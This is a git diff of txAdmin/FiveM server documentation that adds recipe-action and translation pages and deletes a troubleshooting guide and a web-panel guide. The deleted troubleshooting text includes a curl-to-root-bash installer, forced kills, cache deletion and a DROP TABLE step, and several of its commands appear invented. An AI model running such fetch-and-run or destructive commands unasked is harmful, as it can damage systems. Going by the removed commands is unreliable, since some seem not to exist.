+### ensure_dir + +Ensures that the directory exists. If the directory structure does not exist, it is created. This is an implementation of [fs-extra.ensureDir()](https://github.com/jprichardson/node-fs-extra/blob/HEAD/docs/ensureDir.md). + +- `path` - The path to be created (cannot be root `./`) + +```yaml +- action: ensure_dir + path: ./resources +``` + +### write_file + +Writes or appends data to a file. If not in append mode, the file will be overwritten and the directory structure will be created if it doesn't exist. This is an implementation of [fs-extra.outputFile()](https://github.com/jprichardson/node-fs-extra/blob/HEAD/docs/outputFile.md) and Node's default `fs.appendFile()`. + +- `file` - The path of the file to be written to +- `append` *(optional, boolean)* - When true, appends to the end of the file instead of overwriting +- `data` - The data to be written to the target path + +```yaml +# Append example +- action: write_file + file: ./server.cfg + append: true + data: | + ensure example1 + ensure example2 + +# Write file example +- action: write_file + file: ./doesntexist/config.json + data: | + { + "someVariable": true, + "heyLookAnArray": [123, 456] + } +``` + +### replace_string + +Replaces a string in the target file or files array based on a search string and/or context variables. + +- `file` - String or array containing the file(s) to be checked +- `mode` *(optional)* - Specify the behavior of the replacer + - `template` *(default)* - The `replace` string option processed for context variables in the `{{varName}}` format + - `all_vars` - All variables (`{{varName}}`) will be replaced in the target file + - `literal` - Normal string search/replace without any vars +- `search` - The string to be searched for +- `replace` - The string that will replace the `search` one + +```yaml +# Single file - template mode is implicit +- action: replace_string + file: ./server.cfg + search: 'FXServer, but unconfigured' + replace: '{{serverName}} built with {{recipeName}} by {{recipeAuthor}}!' + +# Multiple files +- action: replace_string + mode: all_vars + file: + - ./resources/blah.cfg + - ./something/config.json + +# Replace all variables +- action: replace_string + file: ./configs.cfg + search: 'omg_replace_this' + replace: 'got_it!' +``` + +### connect_database + +Connects to a MySQL/MariaDB server and creates a database if the dbName variable is null. You need to execute this action before the `query_database` to prepare the deployer context. + +This action does not have any direct attributes attached to it. Instead it uses Context Variables set in the deployer step 2 (user input). + +```yaml +- action: connect_database +``` + +### query_database + +Runs a SQL query in the previously connected database. This query can be a file path **OR** a string, but not both at the same time! You need to execute the `connect_database` before this action. + +- `file` - The path of the SQL file to be executed +- `query` - The query string to be executed + +```yaml +# Running a query from a file +- action: query_database + file: ./tmp/create_tables.sql + +# Running a query from a string +- action: query_database + query: | + CREATE TABLE IF NOT EXISTS `users` ( + `id` int(10) unsigned NOT NULL, + `name` tinytext NOT NULL + ); + INSERT INTO `users` (`name`) VALUES ('tabarra'); +``` + +### load_vars + +Loads variables from a JSON file to the deployer context. + +- `src` - The path of the JSON file to be loaded + +```yaml +- action: load_vars + src: ./toload.json +``` + +## Example Recipe + +```yaml +name: PlumeESX2 +version: v1.2.3 +author: Toybarra +description: A full featured (8 jobs) and highly configurable yet lightweight ESX v2 base that can be easily extendable. + +variables: + dbHost: localhost + dbUsername: root + dbPassword: "" + dbName: null + +tasks: + - action: download_file + url: https://github.com/citizenfx/cfx-server-data/archive/master.zip + path: ./tmp/cfx-server-data.zip + + - action: unzip + src: ./tmp/cfx-server-data.zip + dest: ./tmp + + - action: move_path + src: ./tmp/cfx-server-data-master/resources + dest: ./resources + overwrite: true +``` diff --git a/content/docs/txadmin/server-management.mdx b/content/docs/txadmin/server-management.mdx index 961b97e..47fb784 100644 --- a/content/docs/txadmin/server-management.mdx +++ b/content/docs/txadmin/server-management.mdx @@ -7,7 +7,7 @@ import { Tab, Tabs } from 'fumadocs-ui/components/tabs'; import { Callout } from 'fumadocs-ui/components/callout'; import { TypeTable, SimpleTypeTable } from '@ui/components/type-table'; import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable, RoleCard, PermissionCodeBlock, KeyboardShortcutTable, ActionTable, InfoBanner, CategoryGrid } from '@ui/components/mdx-components'; -import { ImageModal } from '@/app/components/image-modal'; +import { ImageModal } from '@ui/components/image-modal'; ## Dashboard diff --git a/content/docs/txadmin/translation.mdx b/content/docs/txadmin/translation.mdx new file mode 100644 index 0000000..700d7db --- /dev/null +++ b/content/docs/txadmin/translation.mdx @@ -0,0 +1,122 @@ +--- +title: "Translation Support" +description: "Contribute translations to txAdmin or create custom locales." +--- + +import { AlertTriangle, Info } from "lucide-react"; +import { StepList, FeatureList } from "@ui/components"; + +# Translation Support + +txAdmin supports translation for over 30 languages for the in-game interface (menu/warn) and chat messages, as well as Discord warnings. + +## Custom Locales + +If your language is not available, or you want to customize the messages, you can create a `locale.json` file inside the `txData` folder based on any language file found on [our repository](https://github.com/citizenfx/txAdmin/tree/master/locale). Then go to the settings and select the "Custom" language option. + +The `$meta.humanizer_language` key must be compatible with the library [humanize-duration](https://www.npmjs.com/package/humanize-duration), check their page for a list of compatible languages. + +### Creating a Custom Locale + + + +## Contributing Translations + +We need the community help to translate, and keep the translations updated and high-quality. + +To contribute, you will need to: + +1. **Make a custom locale file** with the instructions above +2. **Name the file** using the language code from [this page](https://www.science.co.il/language/Locale-codes.php) +3. **Set the $meta.label** to the language name in English (e.g., `Spanish` instead of `Español`) +4. **Add to shared/localeMap.ts** if creating a new translation, maintaining alphabetical order +5. **Submit a Pull Request** with a few screenshots showing you tested the changes in-game +6. **Automatic checks** will run - read the output in case of any errors + +### Translation Checklist + +- [ ] Language code is correct from locale codes list +- [ ] `$meta.label` is in English +- [ ] Added to `shared/localeMap.ts` in alphabetical order +- [ ] All keys translated (none left in English) +- [ ] Screenshots of in-game testing attached +- [ ] Pull request description clearly states what language was translated + +
+ +
+

Quick Testing Tip

+

To quickly test your changes, edit the `locale.json` file and then in the settings page click "Save Global Settings" again to see the changes in the game menu without needing to restart txAdmin or the server.

+
+
+ +### Validate Your Translation + +To make sure you didn't miss anything in the locale file, you can: + +1. Download the txAdmin source code +2. Execute `npm i` +3. Move your `locale.json` to inside the `txAdmin/locale` folder +4. Run `npm run locale:check` to validate completeness + +This will tell you about missing or extra keys. + +
+ +
+

Performance Note

+

The performance of custom locale files for big servers may not be ideal due to the way we need to sync dynamic content to clients. So it is strongly encouraged that you contribute with translations in our GitHub so they get packed with the rest of txAdmin.

+
+
+ +## Submitting to Community + +Once your translation is complete and tested: + +1. Fork the [txAdmin repository](https://github.com/citizenfx/txAdmin) +2. Add your language file to the `locale` folder +3. Update `shared/localeMap.ts` with your language +4. Submit a Pull Request with evidence of testing +5. Wait for review and merge + +## Language Support + +Currently supported languages include: +- English (en) +- Spanish (es) +- French (fr) +- German (de) +- Italian (it) +- Portuguese (pt) +- Russian (ru) +- Chinese (zh) +- Japanese (ja) +- Korean (ko) +- And 20+ more... + +Check the [locale folder](https://github.com/citizenfx/txAdmin/tree/master/locale) for a complete list. + +## Translation Resources + +- **Language Codes:** [ISO 639 Language Codes](https://www.science.co.il/language/Locale-codes.php) +- **Duration Formatting:** [humanize-duration Library](https://www.npmjs.com/package/humanize-duration) +- **txAdmin Locale Files:** [GitHub Locale Folder](https://github.com/citizenfx/txAdmin/tree/master/locale) diff --git a/content/docs/txadmin/troubleshooting.mdx b/content/docs/txadmin/troubleshooting.mdx index c16ee1c..f096300 100644 --- a/content/docs/txadmin/troubleshooting.mdx +++ b/content/docs/txadmin/troubleshooting.mdx @@ -3,590 +3,8 @@ title: Troubleshooting description: Diagnose and resolve common txAdmin issues, server problems, and configuration challenges. --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { InfoBanner } from '@ui/components/mdx-components'; -This comprehensive troubleshooting guide helps you identify and resolve common issues with txAdmin, server management, and configuration problems. - -## Common Issues - -### Installation Problems - -#### txAdmin Won't Start - - - -**Port Conflict:** -```bash -# Check what's using the port -netstat -tulpn | grep :40120 - -# Kill conflicting process -sudo kill -9 - -# Or change txAdmin port -export TXADMIN_PORT=40121 -``` - -**Permission Issues (Linux):** -```bash -# Fix file permissions -chmod -R 755 /opt/fivem-server/ -chown -R $(whoami):$(whoami) /opt/fivem-server/ - -# Check SELinux (if applicable) -setsebool -P httpd_can_network_connect 1 -``` - -**Missing Dependencies:** -```bash -# Update Node.js -curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash - -sudo apt-get install -y nodejs - -# Verify installation -node --version -npm --version -``` - -#### Web Interface Loading Issues -**Symptoms:** -- Blank page or loading errors -- CSS/JavaScript not loading -- Authentication problems - -**Solutions:** - -**Clear Browser Cache:** -1. Press Ctrl+Shift+Delete -2. Select "All time" as time range -3. Clear cookies, cache, and site data -4. Restart browser - -**Check Network Configuration:** -```bash -# Test local connection -curl http://localhost:40120 - -# Check firewall settings -sudo ufw status -sudo iptables -L - -# Open required ports -sudo ufw allow 40120/tcp -``` - -**HTTPS Configuration Issues:** -```bash -# Verify SSL certificate -openssl x509 -in /path/to/cert.pem -text -noout - -# Check certificate expiry -openssl x509 -in /path/to/cert.pem -noout -dates - -# Generate new self-signed certificate -openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -``` - -### Server Management Issues - -#### Server Won't Start -**Symptoms:** -- Server fails to start from txAdmin -- Error messages in console -- Resources fail to load - -**Diagnosis:** -1. Check server.cfg syntax -2. Verify license key validity -3. Review resource dependencies -4. Check available system resources - -**Common Solutions:** - -**Invalid License Key:** -```bash -# Verify license key format -set sv_licenseKey "your_valid_license_key_here" - -# Check key status at https://keymaster.fivem.net/ -# Ensure key isn't expired or banned -``` - -**Resource Conflicts:** -```bash -# Start server in safe mode -start_minimal_resources_only - -# Test resources individually -start resource_name -stop resource_name - -# Check resource dependencies -cd resources/resource_name/ -cat fxmanifest.lua | grep dependency -``` - -**Port Conflicts:** -```bash -# Check if ports are in use -netstat -tulpn | grep :30120 - -# Change server port in server.cfg -endpoint_add_tcp "0.0.0.0:30121" -endpoint_add_udp "0.0.0.0:30121" -``` - -#### Server Crashes Frequently -**Symptoms:** -- Server stops unexpectedly -- High CPU or memory usage -- Performance degradation - -**Troubleshooting Steps:** - -**Memory Issues:** -```bash -# Monitor memory usage -free -h -top -p $(pgrep FXServer) - -# Increase server memory limit (if VPS) -# Optimize resource loading -set sv_maxClients 32 # Reduce if needed -``` - -**Resource Problems:** -```bash -# Enable resource debugging -set developer 1 - -# Monitor resource performance -profiler record 30 -profiler view - -# Identify problematic resources -``` - -**Network Issues:** -```bash -# Monitor network connections -ss -tuln | grep :30120 - -# Check bandwidth usage -iftop -i eth0 - -# Optimize network settings -set sv_maxClients 32 -set onesync on -``` - -### Player Management Problems - -#### Players Can't Connect -**Symptoms:** -- Connection timeouts -- Authentication failures -- Whitelist issues - -**Solutions:** - -**Whitelist Problems:** -1. Check if whitelist is enabled -2. Verify player identifiers are correct -3. Add player to whitelist: - ```bash - whitelist add steam:110000100000000 - whitelist add license:1234567890abcdef - ``` - -**Server Full Issues:** -```bash -# Check current player count -status - -# Increase server capacity -set sv_maxClients 48 # Increase limit - -# Enable connection queue -set txAdmin-checkPlayerJoin true -``` - -**Network Connectivity:** -```bash -# Test server accessibility -telnet your-server-ip 30120 - -# Check firewall rules -sudo ufw status verbose - -# Verify port forwarding (if behind NAT) -``` - -#### Moderation Tools Not Working -**Symptoms:** -- Commands don't execute -- Player actions fail -- Permission errors - -**Fixes:** - -**Permission Issues:** -1. Verify admin permissions in txAdmin -2. Check role assignments -3. Test with Master Admin account - -**Command Syntax:** -```bash -# Correct command formats -kick [player_id] [reason] -ban [player_id] [duration] [reason] - -# Check player ID is correct -status # List all players with IDs -``` - -### Performance Issues - -#### High CPU Usage -**Symptoms:** -- Server FPS below 50 -- High CPU percentage -- Lag and latency issues - -**Optimization Steps:** - -**Resource Optimization:** -```bash -# Profile resource usage -profiler record 60 - -# Identify CPU-heavy resources -resmon - -# Optimize heavy resources or remove them -``` - -**Server Configuration:** -```bash -# Limit concurrent players -set sv_maxClients 32 - -# Optimize tick rate -set sv_fivemTickRate 50 - -# Enable OneSync if not already enabled -set onesync on -``` - -#### Memory Leaks -**Symptoms:** -- Gradually increasing memory usage -- Server becomes unstable over time -- Need frequent restarts - -**Solutions:** - -**Memory Monitoring:** -```bash -# Monitor memory usage over time -watch -n 5 'free -h && ps aux | grep FXServer' - -# Enable memory debugging -set developer 1 -``` - -**Resource Investigation:** -```bash -# Check resource memory usage -resmon - -# Restart problematic resources -restart resource_name - -# Update or replace leaky resources -``` - -### Database Issues - -#### Database Connection Problems -**Symptoms:** -- Resources can't connect to database -- "Connection refused" errors -- Data not saving - -**Solutions:** - -**MySQL/MariaDB Issues:** -```bash -# Check if MySQL is running -sudo systemctl status mysql - -# Start MySQL service -sudo systemctl start mysql - -# Test connection -mysql -u username -p database_name -``` - -**Connection String Problems:** -```lua --- Correct connection string format -set mysql_connection_string "mysql://username:password@localhost/database?charset=utf8mb4" - --- Alternative format -set mysql_connection_string "user=root;password=yourpass;host=localhost;port=3306;database=fivem;SslMode=none;" -``` - -**Permission Issues:** -```sql --- Grant proper permissions -GRANT ALL PRIVILEGES ON database_name.* TO 'username'@'localhost'; -FLUSH PRIVILEGES; - --- Check user permissions -SHOW GRANTS FOR 'username'@'localhost'; -``` - -## Diagnostic Tools - -### Built-in Diagnostics - -#### txAdmin Health Check -Access comprehensive health diagnostics: - -1. Navigate to **System → Diagnostics** -2. Run **Health Check** -3. Review results: - - Port accessibility - - File permissions - - Resource integrity - - Database connectivity - -#### Performance Profiler -Monitor server performance: - -```bash -# Start profiling -profiler record 30 - -# View results -profiler view - -# Save profile data -profiler save profile_$(date +%Y%m%d_%H%M%S).json -``` - -#### Resource Monitor -Track resource performance: - -```bash -# View resource statistics -resmon - -# Monitor specific resource -resmon resource_name - -# Export resource data -resmon export -``` - -### External Tools - -#### System Monitoring -**Linux Tools:** -```bash -# Monitor system resources -htop -iotop -nethogs - -# Check disk usage -df -h -du -sh /opt/fivem-server/* - -# Monitor network -ss -tuln -tcpdump -i eth0 port 30120 -``` - -**Windows Tools:** -```powershell -# Performance Monitor -perfmon - -# Resource Monitor -resmon - -# Network monitoring -netstat -an | findstr :30120 -``` - -#### Database Tools -```sql --- Check database performance -SHOW PROCESSLIST; -SHOW STATUS LIKE '%connection%'; - --- Monitor slow queries -SET GLOBAL slow_query_log = 'ON'; -SET GLOBAL long_query_time = 2; - --- Optimize tables -OPTIMIZE TABLE table_name; -``` - -## Log Analysis - -### txAdmin Logs -Understanding txAdmin log messages: - -#### Log Locations -- **System Logs:** `data/logs/system.log` -- **Admin Actions:** `data/logs/admin.log` -- **Player Events:** `data/logs/players.log` -- **Error Logs:** `data/logs/errors.log` - -#### Common Error Messages -**"Port already in use":** -``` -[ERROR] Port 40120 is already in use -Solution: Change port or kill conflicting process -``` - -**"Failed to load resource":** -``` -[ERROR] Failed to load resource 'resource_name': manifest not found -Solution: Check resource files and fxmanifest.lua -``` - -**"Database connection failed":** -``` -[ERROR] MySQL connection failed: Access denied -Solution: Check credentials and database permissions -``` - -### FXServer Logs -Interpreting server console output: - -#### Resource Errors -``` -[ERROR] [resource_name] script error: attempt to index nil value -Solution: Check Lua syntax in resource scripts -``` - -#### Network Issues -``` -[WARN] Dropped client connection (timeout) -Solution: Check network stability and firewall rules -``` - -#### Performance Warnings -``` -[WARN] Server thread hitch warning: 150ms -Solution: Optimize resources or increase server resources -``` - -## Recovery Procedures - -### Emergency Recovery - -#### Server Unresponsive -When server becomes completely unresponsive: - -1. **Force Stop:** - ```bash - # Find FXServer process - ps aux | grep FXServer - - # Kill process - sudo kill -9 - ``` - -2. **Clean Start:** - ```bash - # Clear cache - rm -rf cache/* - - # Start with minimal resources - # Comment out most resources in server.cfg temporarily - ``` - -#### Corrupted Configuration -When server.cfg or other configs are corrupted: - -1. **Backup Current Config:** - ```bash - cp server.cfg server.cfg.backup - ``` - -2. **Restore from Backup:** - ```bash - # Use txAdmin backup system - backup restore --file=latest_backup.tar.gz --type=config - ``` - -3. **Manual Recovery:** - ```bash - # Start with minimal config - echo "endpoint_add_tcp 0.0.0.0:30120" > server.cfg - echo "endpoint_add_udp 0.0.0.0:30120" >> server.cfg - echo "sv_maxclients 32" >> server.cfg - echo "set sv_licenseKey YOUR_KEY" >> server.cfg - ``` - -### Data Recovery - -#### Player Data Loss -If player data is lost or corrupted: - -1. **Identify Scope:** - - Check which players are affected - - Determine what data is missing - - Find most recent good backup - -2. **Database Recovery:** - ```sql - -- Restore from backup - mysql -u username -p database_name < backup.sql - - -- Or restore specific tables - mysql -u username -p -e "DROP TABLE users" - mysql -u username -p database_name < users_backup.sql - ``` - -3. **Communicate with Players:** - - Inform affected players - - Explain recovery process - - Provide compensation if needed - ---- - - -**Debug Tip:** Enable `set developer 1` for more detailed error messages and debugging information. - - - -**Recovery Warning:** Always backup current state before attempting major fixes or recovery procedures. - \ No newline at end of file + +We are working hard to get the full txAdmin documentation done as soon as possible! + \ No newline at end of file diff --git a/content/docs/txadmin/web-panel.mdx b/content/docs/txadmin/web-panel.mdx deleted file mode 100644 index d00cfde..0000000 --- a/content/docs/txadmin/web-panel.mdx +++ /dev/null @@ -1,360 +0,0 @@ ---- -title: Web Panel Guide -description: Complete tour of the txAdmin web interface and all its features for effective server management. ---- - -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' - -This comprehensive guide covers every aspect of the txAdmin web panel, helping you navigate and utilize all available features effectively. - -## Dashboard Overview - - - -### Main Dashboard -The txAdmin dashboard provides an at-a-glance view of your server's status: - -#### Server Status Card -- **Status Indicator:** Green (running), Red (stopped), Yellow (starting/stopping) -- **Uptime:** Current server uptime -- **Players:** Current/maximum players -- **Quick Actions:** Start, stop, restart buttons - -#### Performance Metrics -- **CPU Usage:** Real-time processor utilization -- **RAM Usage:** Memory consumption with available memory -- **FPS:** Server frames per second (target: 50 FPS) -- **Tick Time:** Server tick processing time - -#### Recent Activity -- **Player Joins/Leaves:** Latest connection activity -- **Admin Actions:** Recent moderation activities -- **System Events:** Server starts, stops, crashes -- **Resource Changes:** Recently started/stopped resources - -### Navigation Menu - -#### Primary Sections -- **Dashboard:** Main overview and server status -- **Server:** Server control and management tools -- **Players:** Player management and moderation -- **Resources:** Resource management and installation -- **System:** System logs and diagnostics -- **Settings:** Configuration and preferences - -#### Quick Access Toolbar -- **Server Controls:** Start/stop/restart buttons -- **Console Toggle:** Quick access to live console -- **Player Count:** Current player statistics -- **Admin Notifications:** System alerts and messages - -## Server Section - -### Live Console -The heart of server management: - -#### Console Features -- **Live Output:** Real-time server console display -- **Command Input:** Direct server command execution -- **Output Filtering:** Filter by message type (info, warning, error) -- **Search Function:** Find specific messages in output -- **Export Logs:** Download console output for analysis - -#### Console Commands -Common administrative commands: - -```bash -# Player Management -kick [id] [reason] # Kick a player -ban [id] [duration] [reason] # Ban a player -unban [identifier] # Unban a player -whitelist add [identifier] # Add to whitelist - -# Resource Management -start [resource] # Start a resource -stop [resource] # Stop a resource -restart [resource] # Restart a resource -refresh # Refresh resource list - -# Server Control -saveall # Save all player data -quit # Stop the server -restart [seconds] # Restart with countdown -``` - -### Server Controls - -#### Power Management -- **Start Server:** Launch server with full initialization -- **Graceful Stop:** Save data and shutdown cleanly -- **Force Stop:** Immediate shutdown (emergency use only) -- **Restart Server:** Stop and start sequence -- **Kill Server:** Terminate server process forcefully - -#### Advanced Controls -- **Scheduled Restart:** Set timed server restarts -- **Maintenance Mode:** Prevent new connections -- **Emergency Stop:** Immediate shutdown with alerts -- **Safe Mode:** Start server with minimal resources - -### Server Logs -Comprehensive logging system: - -#### Log Categories -- **Server Logs:** FXServer output and system messages -- **Admin Actions:** Administrative command history -- **Player Actions:** Player connections and activities -- **Resource Logs:** Resource-specific messages -- **Error Logs:** Error messages and stack traces - -#### Log Management -- **Real-time Viewing:** Live log updates -- **Historical Search:** Search through archived logs -- **Export Options:** Download logs in various formats -- **Automatic Cleanup:** Configurable log retention - -## Players Section - -### Player List -Comprehensive player management interface: - -#### Player Information Display -- **ID:** Server-assigned player identifier -- **Name:** Current player name -- **Identifiers:** Steam, license, discord, IP -- **Ping:** Connection latency in milliseconds -- **Playtime:** Current session duration -- **Status:** Online status and activity - -#### Sorting and Filtering -- **Sort Options:** By name, ID, ping, playtime -- **Filter Tools:** Search by name or identifier -- **Status Filters:** Online, recently disconnected -- **Advanced Filters:** By ping range, playtime, location - -### Player Actions - -#### Moderation Tools -Available for each player: - -**Kick Player:** -- Immediate removal from server -- Custom reason message -- Visible to kicked player -- Logged in admin actions - -**Ban Player:** -- Temporary or permanent bans -- Multiple identifier types -- Ban reason and admin notes -- Appeal system integration - -**Warn Player:** -- Issue warnings without removal -- Warning categories and severity levels -- Cumulative warning tracking -- Automatic escalation rules - -#### Communication Tools -- **Direct Message:** Send private messages to players -- **Server Announcement:** Broadcast messages to all players -- **Admin Chat:** Private communication channel -- **MOTD Updates:** Update message of the day - -### Player History -Detailed player tracking: - -#### Connection History -- **Login Records:** Connection timestamps -- **Session Duration:** Time spent per session -- **IP History:** Previous IP addresses used -- **Identifier Changes:** Steam/license changes - -#### Moderation History -- **Kick Records:** Previous kicks with reasons -- **Ban History:** Past bans and durations -- **Warning Log:** All issued warnings -- **Appeal Status:** Ban appeal information - -## Resources Section - -### Resource Management -Complete control over server resources: - -#### Resource List View -- **Name:** Resource identifier -- **Status:** Running, stopped, error state -- **Version:** Resource version information -- **Description:** Resource purpose and features -- **Actions:** Start, stop, restart, configure - -#### Resource Categories -- **Framework:** Core framework resources (ESX, QBCore) -- **Jobs:** Employment and roleplay systems -- **Vehicles:** Car dealerships, garages, modifications -- **Housing:** Property and real estate systems -- **Economy:** Banking, shops, money systems -- **Custom:** Server-specific resources - -### Resource Installation - -#### Manual Upload -- **ZIP Upload:** Upload resource archives -- **Directory Creation:** Automatic folder structure -- **Dependency Detection:** Identify required resources -- **Auto-configuration:** Basic setup automation - -#### Recipe System -Pre-configured resource packages: - -**Popular Recipes:** -- **ESX Complete:** Full ESX framework setup -- **QBCore Bundle:** Complete QBCore installation -- **Roleplay Starter:** Basic RP server resources -- **Racing Server:** Street racing focused setup -- **Custom Builds:** Community-created recipes - -#### GitHub Integration -- **Repository Cloning:** Direct GitHub downloads -- **Update Tracking:** Monitor for resource updates -- **Version Control:** Manage resource versions -- **Automated Updates:** Schedule update checks - -### Resource Monitoring - -#### Performance Metrics -- **CPU Usage:** Processor time per resource -- **Memory Usage:** RAM consumption tracking -- **Network I/O:** Data transfer statistics -- **Execution Time:** Code execution profiling -- **Error Rate:** Error frequency monitoring - -#### Health Checks -- **Startup Verification:** Ensure clean resource startup -- **Dependency Validation:** Check required dependencies -- **Conflict Detection:** Identify resource conflicts -- **Performance Warnings:** Alert on resource issues - -## System Section - -### System Information -Hardware and software monitoring: - -#### Server Hardware -- **CPU Information:** Processor details and usage -- **Memory Stats:** Total, used, available RAM -- **Storage Space:** Disk usage and availability -- **Network Interfaces:** Available network connections - -#### Software Environment -- **Operating System:** OS version and build -- **FXServer Version:** Server artifact information -- **txAdmin Version:** Panel version and updates -- **Node.js Version:** Runtime environment details - -### Diagnostics Tools - -#### Health Checks -Comprehensive system health monitoring: - -- **Port Accessibility:** Verify server ports are open -- **Database Connectivity:** Test database connections -- **File System Health:** Check disk and file permissions -- **Network Latency:** Monitor connection quality -- **Resource Integrity:** Verify resource file integrity - -#### Performance Analysis -- **FPS Monitoring:** Server performance tracking -- **Memory Leak Detection:** Identify memory issues -- **CPU Bottleneck Analysis:** Find performance issues -- **Network Congestion:** Monitor bandwidth usage - -### Backup Management - -#### Backup Operations -- **Manual Backup:** Create immediate backups -- **Scheduled Backups:** Automated backup creation -- **Backup Verification:** Ensure backup integrity -- **Restoration Tools:** Restore from backups - -#### Backup Storage -- **Local Storage:** Server-based backup storage -- **Cloud Integration:** AWS, Google Cloud, Azure -- **Remote Storage:** FTP, SFTP, network drives -- **Compression:** Reduce backup file sizes - -## Settings Section - -### Global Settings - -#### Interface Preferences -- **Theme:** Dark/light mode selection -- **Language:** Interface language options -- **Timezone:** Display timezone configuration -- **Auto-refresh:** Automatic page update intervals - -#### Notification Settings -- **Email Alerts:** System notification emails -- **Discord Integration:** Discord webhook notifications -- **Sound Alerts:** Browser notification sounds -- **Alert Thresholds:** Configure alert triggers - -### Server Configuration - -#### Basic Settings -- **Server Name:** Public server display name -- **Max Players:** Maximum concurrent players -- **Password:** Server access password (optional) -- **Whitelist:** Enable/disable whitelist mode - -#### Advanced Configuration -- **OneSync Settings:** Enable/configure OneSync -- **Steam Integration:** Steam API configuration -- **Database Settings:** MySQL/MariaDB configuration -- **Security Options:** Various security features - -### Admin Management - -#### Admin Accounts -- **User Creation:** Add new administrator accounts -- **Permission Levels:** Assign access permissions -- **Role Management:** Create custom admin roles -- **Session Control:** Manage active admin sessions - -#### Access Control -- **IP Restrictions:** Limit access by IP address -- **Two-Factor Auth:** Enhanced security options -- **Login Auditing:** Track admin login activities -- **Password Policies:** Enforce password requirements - -## Mobile Interface - -### Mobile Optimization -txAdmin is fully responsive for mobile management: - -#### Touch-Friendly Controls -- **Large Buttons:** Easy touch interaction -- **Swipe Navigation:** Mobile-native navigation -- **Responsive Layout:** Adapts to screen sizes -- **Quick Actions:** Essential tools readily accessible - -#### Mobile-Specific Features -- **Push Notifications:** Receive alerts on mobile -- **Offline Caching:** Basic functionality when offline -- **Touch Gestures:** Intuitive mobile interactions -- **Portrait/Landscape:** Optimized for both orientations - ---- - - -**Navigation Tip:** Use keyboard shortcuts for quick navigation: Ctrl+1 for Dashboard, Ctrl+2 for Server, etc. - - - -**Pro Tip:** Customize your dashboard by pinning frequently used tools and metrics for quick access. - \ No newline at end of file diff --git a/content/docs/txadmin/windows/index.mdx b/content/docs/txadmin/windows/index.mdx index 9a1c1c0..62d914b 100644 --- a/content/docs/txadmin/windows/index.mdx +++ b/content/docs/txadmin/windows/index.mdx @@ -18,10 +18,10 @@ Before you begin, ensure your Windows system meets these requirements for optima @@ -38,12 +38,16 @@ Before you begin, ensure your Windows system meets these requirements for optima ### Software Requirements + +FiveM requires a **fully updated** version of Windows. An outdated operating system may not work correctly. Windows 10 or newer is recommended for the best experience. + + ## Installation Options { return providers; } - - for (const file of jsonFiles) { - try { - const filePath = path.join(providersDir, file); - const content = fs.readFileSync(filePath, "utf-8"); - const provider = JSON.parse(content) as HostingProvider; - - // Basic validation - if (provider.id && provider.name && provider.description && provider.discount && provider.links) { - providers.push(provider); - } else { - console.warn(`Invalid provider file: ${file} - missing required fields`); - } - } catch (error) { - console.error(`Error loading provider file ${file}:`, error); - } - } - - // Sort by priority (highest first), then by name - return providers.sort((a, b) => { - const priorityA = a.priority ?? 0; - const priorityB = b.priority ?? 0; - if (priorityB !== priorityA) { - return priorityB - priorityA; - } - return a.name.localeCompare(b.name); - }); -} diff --git a/package.json b/package.json index 377a22c..14dd22e 100644 --- a/package.json +++ b/package.json @@ -14,12 +14,13 @@ "version:json": "node .github/scripts/get-version.js --json", "analyze:commits": "node .github/scripts/analyze-commits.js", "analyze:commits:json": "node .github/scripts/analyze-commits.js --json", - "knip": "npx knip", - "knip:exports": "npx knip --exports", - "knip:deps": "npx knip --dependencies", - "knip:files": "npx knip --files", - "knip:prod": "npx knip --production", - "knip:fix": "npx knip --fix", + "trusted-hosts:update": "node .github/scripts/update-trusted-hosts.js", + "trusted-hosts:validate": "node .github/scripts/validate-trusted-hosts.js", + "knip:exports": "knip --exports", + "knip:deps": "knip --dependencies", + "knip:files": "knip --files", + "knip:prod": "knip --production", + "knip:fix": "knip --fix", "postinstall": "fumadocs-mdx", "prepare": "husky install" }, @@ -29,6 +30,7 @@ "@ai-sdk/openai": "^0.0.38", "@radix-ui/react-accordion": "^1.2.12", "@radix-ui/react-select": "^2.1.4", + "@radix-ui/react-tabs": "^1.0.4", "@radix-ui/react-scroll-area": "^1.2.3", "@radix-ui/react-dropdown-menu": "^2.1.4", "@radix-ui/react-dialog": "^1.1.4", @@ -39,11 +41,12 @@ "@radix-ui/react-radio-group": "^1.2.3", "@radix-ui/react-tooltip": "^1.1.7", "@radix-ui/react-switch": "^1.1.2", - "@scalar/api-client-react": "1.2.12", "@vercel/analytics": "^1.3.2", "@vercel/functions": "^2.0.0", "ai": "^3.2.34", "axios": "^1.7.9", + "ajv": "^8.12.0", + "ajv-formats": "^3.0.1", "cheerio": "^1.0.0", "class-variance-authority": "^0.7.1", "date-fns": "^4.1.0", @@ -62,9 +65,6 @@ "react-markdown": "^10.1.0", "remark-breaks": "^4.0.0", "remark-gfm": "^4.0.0", - "rimraf": "^6.0.1", - "sugar-high": "^0.9.3", - "tsup": "^8.3.6", "shiki": "^1.26.0", "uuid": "^13.0.0", "zod": "^3.24.2" @@ -72,7 +72,6 @@ "devDependencies": { "@commitlint/cli": "^19.8.1", "@commitlint/config-conventional": "19.8.1", - "@fumadocs/cli": "^0.0.4", "@types/mdx": "^2.0.13", "@types/node": "22.5.4", "@types/react": "^18.3.5", @@ -83,14 +82,12 @@ "commitlint": "19.8.1", "husky": "^8.0.3", "knip": "^5.78.0", - "lint-staged": "^16.2.7", "postcss": "^8.4.45", "prettier": "^3.7.4", "tailwindcss": "^3.4.1", "tailwindcss-animate": "^1.0.7", "tailwind-merge": "^2.6.0", - "typescript": "^5.5.4", - "ua-parser-js": "^2.0.3" + "typescript": "^5.5.4" }, "lint-staged": { "*.{js,jsx,ts,tsx}": [ @@ -101,7 +98,7 @@ "prettier -w ." ], "*.{json,md}": [ - "prettier --w ." + "prettier -w ." ] } } \ No newline at end of file diff --git a/packages/providers/GUIDELINES.md b/packages/providers/GUIDELINES.md index d5e9e1a..a66b94b 